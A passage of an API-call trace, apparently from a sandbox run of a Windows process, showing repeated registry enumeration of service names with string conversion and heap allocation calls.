lpUsedDefaultChar=0x0) returned 3 [0253.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.342] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0253.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0253.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.342] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0253.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0253.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.343] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0253.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0253.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.343] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0253.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0253.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1e38, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0253.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.343] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0253.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0253.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.344] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0253.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0253.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.344] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0253.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0253.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a00, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0253.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.344] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0253.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0253.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.344] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0253.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0253.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.345] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0253.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0253.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.345] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0253.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0253.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.345] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0253.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0253.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.346] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0253.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0253.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.346] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0253.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0253.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.346] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0253.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0253.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.346] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0253.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0253.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.347] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0253.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0253.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.347] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0253.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0253.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.347] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0253.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0253.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.347] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0253.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0253.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.348] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0253.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", 